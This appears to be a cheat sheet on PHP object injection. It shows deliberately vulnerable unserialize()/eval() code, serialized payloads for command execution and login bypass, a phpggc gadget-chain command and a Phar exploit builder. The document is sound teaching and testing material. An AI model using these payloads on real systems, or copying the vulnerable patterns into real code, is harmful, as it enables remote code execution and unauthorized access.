PHP Object injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

The following magic methods will help you for a PHP Object injection

- __wakeup() when an object is unserialized.
- __destruct() when an object is deleted.
- __toString() when an object is converted to a string.

Also you should check the `Wrapper Phar://` in File Inclusion which use a PHP object injection.

Summary

General concept

Vulnerable code:

```
<?php
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?>
```

Craft a payload using existing code inside the application.

```
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```

Authentication bypass

Type juggling

Vulnerable code:

```
<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}
```

Payload:

```
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
```

Because `true == "str"` is true.

Object reference

Vulnerable code:

```
<?php
class Object
{
  var $guess;
  var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";
    }
}
?>
```

Payload:

```
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
```

We can do an array to like this:

```
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
```

Finding and using gadgets

Also called "PHP POP Chains", they can be used to gain RCE on the system.

PHPGGC is a tool built to generate the payload based on several frameworks:

- Laravel
- Symfony
- SwiftMailer
- Monolog
- SlimPHP
- Doctrine
- Guzzle

```
phpggc monolog/rce1 'phpinfo();' -s
```

PHP Phar Deserialization

Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.

A valid PHAR includes four elements:

1. Stub
2. Manifest
3. File Contents
4. Signature

Example of a Phar creation in order to exploit a custom `PDFGenerator`.

```
<?php
class PDFGenerator { }

//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
```

```
// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
```

Real world examples

- Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley
- Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley
- Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley
- Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley

References

- PHP Object Injection - OWASP
- Utilizing Code Reuse/ROP in PHP
- PHP unserialize
- PHP Generic Gadget - ambionics security
- POC2009 Shocking News in PHP Exploitation
- PHP Internals Book - Serialization
- TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec
- CTF writeup: PHP object injection in kaspersky CTF
- Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec
- Rusty Joomla RCE Unserialize overflow
- PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020
- How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020